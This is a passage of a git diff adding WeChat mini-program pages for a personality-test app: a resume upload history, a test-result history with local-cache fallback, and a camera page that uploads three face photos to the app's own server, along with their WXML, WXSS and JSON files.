d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + const h = String(d.getHours()).padStart(2, '0') + const min = String(d.getMinutes()).padStart(2, '0') + return `${y}-${m}-${day} ${h}:${min}` + }, + + previewResume(e) { + const url = e.currentTarget.dataset.url + const fileName = e.currentTarget.dataset.fileName || '' + if (!url) return + const fullUrl = url.startsWith('http') ? url : ((app.globalData && app.globalData.apiBase) || '').replace(/\/$/, '') + url + const ext = (fileName.split('.').pop() || '').toLowerCase() + const imageExts = ['jpg', 'jpeg', 'png', 'gif', 'webp'] + const isImage = imageExts.indexOf(ext) !== -1 + + wx.downloadFile({ + url: fullUrl, + success: (res) => { + if (res.statusCode !== 200 || !res.tempFilePath) { + wx.showToast({ title: '打开失败', icon: 'none' }) + return + } + const filePath = res.tempFilePath + if (isImage) { + wx.previewImage({ current: filePath, urls: [filePath] }) + } else { + const docTypes = ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'pdf'] + const fileType = docTypes.indexOf(ext) !== -1 ? ext : 'pdf' + wx.openDocument({ + filePath, + fileType, + showMenu: true, + fail: () => wx.showToast({ title: '该格式暂不支持预览', icon: 'none' }) + }) + } + }, + fail: () => wx.showToast({ title: '打开失败', icon: 'none' }) + }) + }, + + setDefault(e) { + const id = e.currentTarget.dataset.id + if (!id) return + request({ + url: '/api/enterprise/resume-uploads/set-default', + method: 'POST', + needAuth: true, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + wx.showToast({ title: '已设为默认简历', icon: 'success' }) + this.loadList() + } else { + wx.showToast({ title: res.data && res.data.message || '设置失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '设置失败', icon: 'none' }) + }) + }, + + deleteResume(e) { + const id = e.currentTarget.dataset.id + if (!id) return + wx.showModal({ + title: '确认删除', + content: '删除后不可恢复,确定删除该简历记录?', + confirmText: '删除', + confirmColor: '#f43f5e', + success: (res) => { + if (!res.confirm) return + request({ + url: '/api/enterprise/resume-uploads/delete', + method: 'POST', + needAuth: true, + data: { id }, + success: (r) => { + if (r.statusCode === 200 && r.data && r.data.code === 200) { + wx.showToast({ title: '已删除', icon: 'success' }) + this.loadList() + } else { + wx.showToast({ title: r.data && r.data.message || '删除失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '删除失败', icon: 'none' }) + }) + } + }) + }, + + goBack() { + wx.navigateBack({ fail: () => wx.switchTab({ url: '/pages/profile/index' }) }) + } +}) diff --git a/miniprogram/pages/enterprise/resume-history.json b/miniprogram/pages/enterprise/resume-history.json new file mode 100644 index 0000000..fd94c8f --- /dev/null +++ b/miniprogram/pages/enterprise/resume-history.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "我的简历", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/enterprise/resume-history.wxml b/miniprogram/pages/enterprise/resume-history.wxml new file mode 100644 index 0000000..a5c8d7d --- /dev/null +++ b/miniprogram/pages/enterprise/resume-history.wxml @@ -0,0 +1,66 @@ + + + + + + + + + + 仅展示当前绑定企业的简历上传记录 + + + + + + + + 📄 + + + {{item.fileName}} + {{item.uploadedAtStr}} + + + 默认 + 设为默认 + + + + + + 删除 + + + + 预览查看 + + + + + + + + + + 📁 + + 暂无上传记录 + 点击下方按钮上传简历,或返回企业版首页上传 + 上传简历 + 返回首页 + + + + + 加载中... + + + + + + + 上传简历 + + + diff --git a/miniprogram/pages/enterprise/resume-history.wxss b/miniprogram/pages/enterprise/resume-history.wxss new file mode 100644 index 0000000..1f8d0ee --- /dev/null +++ b/miniprogram/pages/enterprise/resume-history.wxss @@ -0,0 +1,342 @@ +/* pages/enterprise/resume-history.wxss */ +.page { + min-height: 100vh; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; +} + +/* 背景装饰圆形 */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +.container { + position: relative; + z-index: 1; + flex: 1; + padding: 24rpx 32rpx 60rpx; + padding-bottom: calc(60rpx + 120rpx); +} + +/* 底部悬浮上传按钮(有数据时显示) */ +.float-upload-wrap { + position: fixed; + left: 0; + right: 0; + bottom: 0; + z-index: 100; + padding: 24rpx 32rpx; + padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); + background: linear-gradient(to top, rgba(255,255,255,0.98) 0%, rgba(255,255,255,0.95) 70%, transparent); +} + +.float-upload-btn { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + height: 96rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 30rpx; + font-weight: 700; + border-radius: 48rpx; + box-shadow: 0 8rpx 24rpx rgba(99, 102, 241, 0.35); +} + +.float-upload-btn:active { + opacity: 0.92; +} + +.float-upload-icon { + font-size: 36rpx; + line-height: 1; +} + +.float-upload-text { + letter-spacing: 1rpx; +} + +.tip-section { + margin-bottom: 24rpx; + padding: 0 8rpx; + display: flex; + align-items: center; + justify-content: space-between; + flex-wrap: wrap; + gap: 16rpx; +} + +.tip-text { + font-size: 24rpx; + color: #999; +} + +.upload-entry { + display: flex; + align-items: center; + gap: 8rpx; + padding: 14rpx 28rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 26rpx; + font-weight: 600; + border-radius: 32rpx; + box-shadow: 0 6rpx 16rpx rgba(99, 102, 241, 0.25); +} + +.upload-entry:active { + opacity: 0.9; + transform: scale(0.98); +} + +.upload-entry-icon { + font-size: 28rpx; + line-height: 1; +} + +/* 简历卡片 */ +.resume-card { + background: #fff; + border-radius: 24rpx; + padding: 28rpx; + margin-bottom: 24rpx; + box-shadow: 0 8rpx 20rpx rgba(0, 0, 0, 0.04); + border: 1rpx solid rgba(255, 255, 255, 0.8); +} + +.file-info { + display: flex; + align-items: flex-start; + gap: 20rpx; + margin-bottom: 28rpx; + position: relative; + overflow: hidden; + min-height: 0; +} + +.file-icon-wrap { + width: 80rpx; + height: 80rpx; + background: #f0f2ff; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.file-icon { + font-size: 40rpx; +} + +.file-meta { + width: 80%; + min-width: 0; + overflow: hidden; + padding-right: 16rpx; +} + +.top-right-actions { + flex-shrink: 0; + align-self: flex-start; +} + +.set-default-text { + font-size: 24rpx; + color: #6366f1; + padding: 4rpx 0; +} + +.set-default-text:active { + opacity: 0.8; +} + +.name { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #333; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + margin-bottom: 6rpx; + width: 85%; +} + +.time { + display: block; + font-size: 24rpx; + color: #999; +} + +.default-badge { + position: absolute; + top: 0; + right: 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 20rpx; + font-weight: 600; + padding: 4rpx 16rpx; + border-radius: 10rpx; +} + +/* 卡片操作区 */ +.card-footer { + display: flex; + align-items: center; + justify-content: space-between; + padding-top: 24rpx; + border-top: 1rpx solid #f5f6fa; +} + +.secondary-actions { + display: flex; + align-items: center; + gap: 20rpx; +} + +.action-btn { + display: flex; + align-items: center; + justify-content: center; + height: 64rpx; + border-radius: 32rpx; + font-size: 24rpx; + font-weight: 600; + transition: all 0.2s ease; +} + +.action-btn:active { + opacity: 0.7; + transform: scale(0.98); +} + +.text-btn { + padding: 0 16rpx; + background: transparent; +} + +.action-icon { + margin-right: 6rpx; + font-size: 26rpx; +} + +.delete-btn { + color: #f43f5e; + font-size: 26rpx; +} + + +.primary-btn { + padding: 0 32rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + box-shadow: 0 4rpx 12rpx rgba(99, 102, 241, 0.2); +} + +/* 空状态 */ +.empty-state { + padding: 120rpx 60rpx; + display: flex; + flex-direction: column; + align-items: center; + text-align: center; +} + +.empty-icon-wrap { + width: 160rpx; + height: 160rpx; + background: #fff; + border-radius: 80rpx; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 40rpx; + box-shadow: 0 10rpx 30rpx rgba(0, 0, 0, 0.05); +} + +.empty-icon { + font-size: 80rpx; +} + +.empty-text { + font-size: 34rpx; + font-weight: 700; + color: #333; + margin-bottom: 16rpx; +} + +.empty-tip { + font-size: 26rpx; + color: #999; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.go-upload-btn { + padding: 24rpx 64rpx; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + color: #fff; + font-size: 28rpx; + font-weight: 700; + border-radius: 50rpx; + box-shadow: 0 10rpx 20rpx rgba(99, 102, 241, 0.2); + margin-bottom: 20rpx; +} + +.back-home-btn { + padding: 20rpx 48rpx; + font-size: 26rpx; + color: #6366f1; + font-weight: 600; + border: 2rpx solid #6366f1; + border-radius: 40rpx; +} + +/* 加载中 */ +.loading-wrap { + padding: 100rpx 0; + display: flex; + flex-direction: column; + align-items: center; + gap: 20rpx; +} + +.loading-spinner { + width: 40rpx; + height: 40rpx; + border: 4rpx solid rgba(99, 102, 241, 0.1); + border-top-color: #6366f1; + border-radius: 50%; + animation: spin 0.8s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.loading-text { + font-size: 26rpx; + color: #999; +} diff --git a/miniprogram/pages/history/index.js b/miniprogram/pages/history/index.js new file mode 100644 index 0000000..5d780da --- /dev/null +++ b/miniprogram/pages/history/index.js @@ -0,0 +1,161 @@ +// pages/history/index.js - 测试历史记录(一次拉取全部,时间行右侧展示企业名) +const app = getApp() + +Page({ + data: { + activeTab: 'all', + tabName: '', + list: [], + total: 0, + loading: false, + isEnterprise: false + }, + + _checkIsEnterprise() { + const gd = app.globalData || {} + const storedUser = wx.getStorageSync('userInfo') || null + const scope = gd.appScope || 'personal' + const enterpriseId = gd.enterpriseIdFromScene + || (gd.userInfo && gd.userInfo.enterpriseId) + || (storedUser && storedUser.enterpriseId) + || null + return scope === 'enterprise' || !!enterpriseId + }, + + onLoad() { + this.setData({ isEnterprise: this._checkIsEnterprise() }) + this.loadAll() + }, + + onShow() { + this.setData({ isEnterprise: this._checkIsEnterprise() }) + this.loadAll() + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + }, + + // 一次拉取全部历史(pageSize=500) + loadAll() { + if (this.data.loading) return + this.setData({ loading: true, list: [] }) + + const token = app.globalData.token || wx.getStorageSync('token') + const apiBase = app.globalData.apiBase + const { activeTab } = this.data + const typeParam = activeTab === 'all' ? '' : `&type=${activeTab}` + + if (!token || !apiBase) { + this.setData({ loading: false }) + this.loadFromStorage() + return + } + + wx.request({ + url: `${apiBase}/api/test/history?page=1&pageSize=500${typeParam}&scope=all`, + method: 'GET', + header: { Authorization: `Bearer ${token}` }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const rawList = Array.isArray(payload) ? payload : (payload.list || []) + const total = Array.isArray(payload) ? rawList.length : (payload.total || 0) + const formatted = this.formatList(rawList) + this.setData({ list: formatted, total, loading: false }) + } else { + this.setData({ loading: false }) + this.loadFromStorage() + } + }, + fail: () => { + this.setData({ loading: false }) + this.loadFromStorage() + } + }) + }, + + formatList(rawList) { + const typeNames = { mbti: 'MBTI性格测试', disc: 'DISC性格测试', pdp: 'PDP行为偏好测试', ai: '面相分析', resume: '简历综合分析' } + const emojis = { mbti: '🧠', disc: '📊', pdp: '🦁', ai: '👁️', resume: '📋' } + + return rawList.map((item, idx) => { + if (item.typeName) { + return { ...item, enterpriseName: item.enterpriseName || '' } + } + const testType = (item.testType || item.type || 'mbti').toLowerCase() + const ts = item.createdAt || item.testTime || item.timestamp + return { + ...item, + type: testType, + key: testType + '_' + (item.id || idx), + emoji: emojis[testType] || '📋', + typeName: typeNames[testType] || '测试', + testTime: ts ? this.formatTime(typeof ts === 'number' ? ts * 1000 : ts) : '', + enterpriseName: item.enterpriseName || '' + } + }) + }, + + // 本地缓存回退 + loadFromStorage() { + const mbtiResult = wx.getStorageSync('mbtiResult') + const discResult = wx.getStorageSync('discResult') + const pdpResult = wx.getStorageSync('pdpResult') + const aiResult = wx.getStorageSync('aiResult') + const list = [] + if (mbtiResult) list.push({ type: 'mbti', key: 'mbti', emoji: '🧠', typeName: 'MBTI性格测试', resultText: mbtiResult.mbtiType || '未知', testTime: this.formatTime(mbtiResult.timestamp), data: mbtiResult }) + if (pdpResult) list.push({ type: 'pdp', key: 'pdp', emoji: pdpResult.description?.emoji || '🦁', typeName: 'PDP行为偏好测试', resultText: pdpResult.description?.type || '未知', testTime: this.formatTime(pdpResult.timestamp || pdpResult.completedAt), data: pdpResult }) + if (discResult) list.push({ type: 'disc', key: 'disc', emoji: '📊', typeName: 'DISC性格测试', resultText: (discResult.dominantType || '未知') + '型', testTime: this.formatTime(discResult.timestamp || discResult.completedAt), data: discResult }) + if (aiResult) list.push({ type: 'ai', key: 'ai', emoji: '👁️', typeName: '面相分析', resultText: aiResult.mbti || '未知', testTime: this.formatTime(aiResult.timestamp || aiResult.completedAt), data: aiResult }) + this.setData({ list, total: list.length, loading: false }) + }, + + changeTab(e) { + const tab = e.currentTarget.dataset.tab + const names = { all: '', mbti: 'MBTI', pdp: 'PDP', disc: 'DISC', ai: '面相', resume: '简历' } + this.setData({ activeTab: tab, tabName: names[tab] || '' }) + this.loadAll() + }, + + formatTime(timestamp) { + if (!timestamp) return '未知时间' + const date = new Date(timestamp) + const y = date.getFullYear() + const m = String(date.getMonth() + 1).padStart(2, '0') + const d = String(date.getDate()).padStart(2, '0') + const h = String(date.getHours()).padStart(2, '0') + const min = String(date.getMinutes()).padStart(2, '0') + return `${y}-${m}-${d} ${h}:${min}` + }, + + viewDetail(e) { + const type = e.currentTarget.dataset.type + const id = e.currentTarget.dataset.id + const routes = { + mbti: '/pages/result/mbti', + disc: '/pages/result/disc', + pdp: '/pages/result/pdp', + ai: '/pages/index/result', + resume: '/pages/result/resume' + } + const base = routes[type] + if (!base) return + if ((type === 'ai' || type === 'resume') && !id) return + const query = id ? `?id=${id}&type=${type}` : '' + wx.navigateTo({ url: query ? base + query : base }) + }, + + goToTest() { + const routes = { + mbti: '/pages/test/mbti', + disc: '/pages/test/disc', + pdp: '/pages/test/pdp', + ai: '/pages/index/camera', + resume: '/pages/enterprise/index' + } + const url = routes[this.data.activeTab] + if (url) wx.navigateTo({ url }) + else wx.switchTab({ url: '/pages/index/index' }) + }, + +}) diff --git a/miniprogram/pages/history/index.json b/miniprogram/pages/history/index.json new file mode 100644 index 0000000..8074034 --- /dev/null +++ b/miniprogram/pages/history/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "测试记录", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/history/index.wxml b/miniprogram/pages/history/index.wxml new file mode 100644 index 0000000..95f5d7a --- /dev/null +++ b/miniprogram/pages/history/index.wxml @@ -0,0 +1,74 @@ + + + + + + + + 全部 + + + MBTI + + + PDP + + + DISC + + + 面相 + + + 简历 + + + + + + + + 📋 + 暂无{{activeTab === 'all' ? '' : tabName}}历史记录 + + 开始测试 + + + + + + + + + {{item.emoji}} + + + + {{item.typeName}} + + {{item.resultText}} + + + + {{item.testTime}} + {{item.enterpriseName}} + + + + + + + + 加载中... + + + + 共 {{total}} 条 + + + + + + 加载中... + + diff --git a/miniprogram/pages/history/index.wxss b/miniprogram/pages/history/index.wxss new file mode 100644 index 0000000..d6a33b0 --- /dev/null +++ b/miniprogram/pages/history/index.wxss @@ -0,0 +1,208 @@ +/* pages/history/index.wxss - 测试历史记录(按旧版模板重构) */ +.container { + min-height: 100vh; + background-color: #f5f5f5; +} + +/* Tabs */ +.tabs-container { + background-color: #fff; + border-bottom: 1rpx solid #f0f0f0; + padding: 20rpx 0; +} + +.tabs-scroll { + white-space: nowrap; +} + +.tabs { + display: flex; + padding: 0 32rpx; +} + +.tab-item { + padding: 12rpx 32rpx; + margin-right: 16rpx; + border-radius: 40rpx; + background-color: #f5f5f5; + flex-shrink: 0; +} + +.tab-item.active { + background-color: #e63946; +} + +.tab-text { + font-size: 28rpx; + color: #666; +} + +.tab-item.active .tab-text { + color: #fff; + font-weight: 500; +} + +/* 空状态 */ +.empty-container { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + padding-top: 200rpx; +} + +.empty-icon { + font-size: 100rpx; + margin-bottom: 24rpx; +} + +.empty-text { + font-size: 28rpx; + color: #999; + margin-bottom: 32rpx; +} + +.primary-button { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 40rpx; + padding: 20rpx 60rpx; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.button-text { + font-size: 28rpx; + color: #fff; + font-weight: 500; +} + +/* 测试记录列表 */ +.test-list { + display: flex; + flex-direction: column; + gap: 20rpx; + padding: 20rpx; +} + +.test-card { + background-color: #fff; + border-radius: 16rpx; + padding: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.05); +} + +.test-card:active { + transform: scale(0.98); + opacity: 0.9; +} + +.card-content { + display: flex; + align-items: center; +} + +.icon-circle { + width: 72rpx; + height: 72rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + margin-right: 20rpx; + flex-shrink: 0; +} + +.icon-mbti { background-color: #f3e8ff; } +.icon-pdp { background-color: #dbeafe; } +.icon-disc { background-color: #dcfce7; } +.icon-ai { background-color: #fce7f3; } + +.icon-emoji { + font-size: 32rpx; +} + +.test-details { + flex: 1; + min-width: 0; +} + +.test-header-row { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 8rpx; + gap: 12rpx; +} + +.test-title { + font-size: 30rpx; + font-weight: 500; + color: #333; + flex: 1; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.result-badge { + padding: 4rpx 16rpx; + border-radius: 20rpx; + flex-shrink: 0; +} + +.badge-mbti { background-color: #f3e8ff; } +.badge-mbti .badge-text { color: #7c3aed; } + +.badge-pdp { background-color: #dbeafe; } +.badge-pdp .badge-text { color: #2563eb; } + +.badge-disc { background-color: #dcfce7; } +.badge-disc .badge-text { color: #16a34a; } + +.badge-ai { background-color: #fce7f3; } +.badge-ai .badge-text { color: #db2777; } + +.badge-text { + font-size: 22rpx; + font-weight: 500; + white-space: nowrap; +} + +.test-time-row { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16rpx; + margin-top: 4rpx; +} + +.test-time { + font-size: 24rpx; + color: #999; + flex-shrink: 0; +} + +.test-enterprise { + font-size: 24rpx; + color: #666; + flex-shrink: 0; + max-width: 280rpx; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.load-more-row { + display: flex; + justify-content: center; + align-items: center; + padding: 32rpx 0 20rpx; +} + +.load-more-text { + font-size: 26rpx; + color: #7c3aed; +} + +.no-more { + color: #bbb; +} diff --git a/miniprogram/pages/index/camera.js b/miniprogram/pages/index/camera.js new file mode 100644 index 0000000..a585250 --- /dev/null +++ b/miniprogram/pages/index/camera.js @@ -0,0 +1,196 @@ +// pages/index/camera.js - 面相分析拍照页,拍完后上传到服务器再跳转结果页 +const app = getApp() +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + photos: [], + photoIndex: 0, + guideTexts: ['请正对镜头', '请向左转45°', '请向右转45°'], + guideText: '请正对镜头', + uploading: false, + needPhoneAuth: false, + aiAnalysisText: '智能分析' + }, + + onLoad() { + this.cameraContext = wx.createCameraContext() + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '智能分析' }) + } + }).catch(() => {}) + } + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + this.setData({ needPhoneAuth: !hasPhone() }) + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } + }, + + // 本页就地授权手机号 + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code && !hasPhone()) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + if (!code && hasPhone()) { + // 已有手机号,无需重复请求 + this.setData({ needPhoneAuth: false }) + return + } + bindPhoneByCode(code).then(() => { + this.setData({ needPhoneAuth: false }) + }).catch(() => { + // 失败时保持 needPhoneAuth 为 true,等待用户重新授权 + this.setData({ needPhoneAuth: !hasPhone() }) + }) + }, + + // 拍照 + takePhoto() { + if (this.data.photos.length >= 3) { + wx.showToast({ title: '已拍满3张', icon: 'none' }) + return + } + + this.cameraContext.takePhoto({ + quality: 'high', + success: (res) => { + const photos = [...this.data.photos, res.tempImagePath] + const photoIndex = photos.length + const guideText = this.data.guideTexts[photoIndex] || '拍摄完成' + + this.setData({ + photos, + photoIndex, + guideText + }) + + if (photos.length === 3) { + wx.showToast({ title: '拍摄完成', icon: 'success' }) + } + }, + fail: (err) => { + wx.showToast({ title: '拍照失败', icon: 'none' }) + console.error('拍照失败:', err) + } + }) + }, + + // 重新拍摄全部照片 + retakeAll() { + wx.showModal({ + title: '重新拍摄', + content: '确定要重新拍摄所有照片吗?', + confirmText: '确定', + cancelText: '取消', + success: (res) => { + if (res.confirm) { + this.setData({ + photos: [], + photoIndex: 0, + guideText: '请正对镜头' + }) + wx.showToast({ title: '已清空,请重新拍摄', icon: 'success' }) + } + } + }) + }, + + // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页 + completeCapture() { + if (!ensureProfileCompleteAndRedirect()) return + if (!hasPhone()) { + wx.showToast({ title: '请先授权手机号', icon: 'none' }) + this.setData({ needPhoneAuth: true }) + return + } + const photos = this.data.photos + if (!photos || photos.length === 0) { + wx.showToast({ title: '请先拍摄照片', icon: 'none' }) + return + } + this.setData({ uploading: true }) + wx.showLoading({ title: '上传中...', mask: true }) + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + const token = (app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/image' + + const uploadOne = (path) => { + return new Promise((resolve, reject) => { + wx.uploadFile({ + url: uploadUrl, + filePath: path, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + resolve(data.data.url) + } else { + reject(new Error(data.message || '上传失败')) + } + } catch (e) { + reject(new Error('解析上传结果失败')) + } + }, + fail: (err) => reject(err) + }) + }) + } + + Promise.all(photos.map(uploadOne)) + .then((urls) => { + wx.hideLoading() + wx.setStorageSync('aiPhotos', urls) + this.setData({ uploading: false }) + wx.navigateTo({ url: '/pages/index/result' }) + }) + .catch((err) => { + wx.hideLoading() + this.setData({ uploading: false }) + wx.showToast({ title: err.message || '上传失败', icon: 'none' }) + }) + }, + + // 从相册选择:跳转到上传页(三角度上传),不改变当前 scope/企业上下文 + goToUpload() { + wx.navigateTo({ + url: '/pages/index/upload' + }) + }, + + // 相机错误 + onCameraError(e) { + console.error('相机错误:', e) + wx.showModal({ + title: '相机权限', + content: '请允许使用相机权限以进行AI人脸分析', + confirmText: '去设置', + success: (res) => { + if (res.confirm) { + wx.openSetting() + } + } + }) + } +}) diff --git a/miniprogram/pages/index/camera.json b/miniprogram/pages/index/camera.json new file mode 100644 index 0000000..88e3bdf --- /dev/null +++ b/miniprogram/pages/index/camera.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "拍照", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/index/camera.wxml b/miniprogram/pages/index/camera.wxml new file mode 100644 index 0000000..dc27e1f --- /dev/null +++ b/miniprogram/pages/index/camera.wxml @@ -0,0 +1,69 @@ + + + + + 步骤 {{photoIndex + 1}}/3 + {{photos.length}}/3 张照片已完成 + + + + + + + + + {{photoIndex + 1}} + + {{guideText}} + 请保持自然表情,确保光线充足 + + + + + + + + + + + + + + {{index === 0 ? '正面' : (index === 1 ? '左侧' : '右侧')}} + + + + + + + + 拍摄{{guideText}}照片 + + + 从相册选择 + + + + + + 重新拍摄 + + + 立即{{aiAnalysisText || '智能分析'}} + + + + + + + 为保障服务与联系,请先授权手机号。 + + + diff --git a/miniprogram/pages/index/camera.wxss b/miniprogram/pages/index/camera.wxss new file mode 100644 index 0000000..5430ea3 --- /dev/null +++ b/miniprogram/pages/index/camera.wxss @@ -0,0 +1,312 @@ +/* pages/index/camera.wxss - 一屏内展示,为底部自定义 tabBar(含中间浮起圆钮)预留空间 */ +.container { + width: 100%; + height: 100vh; + height: 100dvh; + box-sizing: border-box; + display: flex; + flex-direction: column; + overflow: hidden; + background-color: #fff; + /* 预留底部空间,避免与自定义 tabBar(约 100rpx 高 + 中间圆钮上浮约 56rpx)重叠 */ + padding-bottom: calc(160rpx + env(safe-area-inset-bottom)); +} + +.progress-section { + flex-shrink: 0; + margin: 16rpx 24rpx 0; + padding: 20rpx 32rpx 16rpx; + border-radius: 10rpx; + background: linear-gradient(to right, #fff5f5, #ffe5e8); +} + +.progress-info { + display: flex; + align-items: center; + justify-content: space-between; + margin-bottom: 10rpx; +} + +.step-text { + font-size: 26rpx; + font-weight: 600; + color: #e63946; +} + +.photo-count { + font-size: 22rpx; + color: #999; +} + +.progress-bars { + display: flex; + gap: 12rpx; + margin-bottom: 12rpx; +} + +.progress-bar { + flex: 1; + height: 6rpx; + border-radius: 6rpx; +} + +.progress-bar.completed { + background-color: #52c41a; +} + +.progress-bar.pending { + background-color: #e5e5e5; +} + +.instruction-card { + background: rgba(255, 255, 255, 0.9); + border-radius: 12rpx; + padding: 14rpx 18rpx; + border: 1rpx solid rgba(230, 57, 70, 0.1); +} + +.instruction-content { + display: flex; + align-items: center; + gap: 12rpx; +} + +.step-number { + width: 40rpx; + height: 40rpx; + flex-shrink: 0; + border-radius: 50%; + background-color: #e63946; + color: #fff; + font-size: 24rpx; + font-weight: bold; + display: flex; + align-items: center; + justify-content: center; +} + +.instruction-text { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 2rpx; +} + +.angle-text { + font-size: 26rpx; + font-weight: 600; + color: #c41d2a; +} + +.tip-text { + font-size: 22rpx; + color: #666; + line-height: 1.3; +} + +.camera-container { + flex: 1; + min-height: 0; + padding: 16rpx 24rpx; + box-sizing: border-box; + display: flex; + align-items: center; + justify-content: center; +} + +.camera-preview { + width: 100%; + max-width: 100%; + max-height: 100%; + aspect-ratio: 1; + border-radius: 32rpx; + overflow: hidden; + border: 6rpx solid #e5e5e5; + background-color: #000; + position: relative; +} + +.camera { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; +} + +.photos-preview { + width: 100%; + height: 100%; + min-height: 0; + display: flex; + flex-direction: row; + align-items: center; + justify-content: center; + gap: 12rpx; +} + +.photo-item { + position: relative; + flex: 1; + min-width: 0; + height: 100%; + max-height: 100%; + border-radius: 16rpx; + overflow: hidden; + border: 4rpx solid #e5e5e5; +} + +.photo-image { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + object-fit: cover; +} + +.photo-label { + position: absolute; + top: 8rpx; + left: 8rpx; + background: rgba(230, 57, 70, 0.9); + color: #fff; + font-size: 20rpx; + font-weight: 600; + padding: 4rpx 12rpx; + border-radius: 12rpx; +} + +.button-container { + flex-shrink: 0; + padding: 16rpx 24rpx 0; + display: flex; + justify-content: center; + align-items: center; +} + +.capture-actions { + width: 100%; + display: flex; + flex-direction: column; + align-items: center; + gap: 20rpx; +} + +.capture-actions .capture-button { + width: 100%; +} + +.album-button { + width: 100%; + padding: 20rpx; + border-radius: 50rpx; + text-align: center; + background: #fff; + border: 2rpx solid #e63946; + box-sizing: border-box; +} + +.album-button:active { + background: #fff5f5; +} + +.album-button-text { + font-size: 28rpx; + font-weight: 600; + color: #e63946; + letter-spacing: 1rpx; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +.capture-button { + width: 100%; + max-width: 100%; + padding: 22rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 50rpx; + text-align: center; + box-sizing: border-box; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.button-text { + font-size: 30rpx; + font-weight: 700; + color: #fff; + letter-spacing: 1rpx; 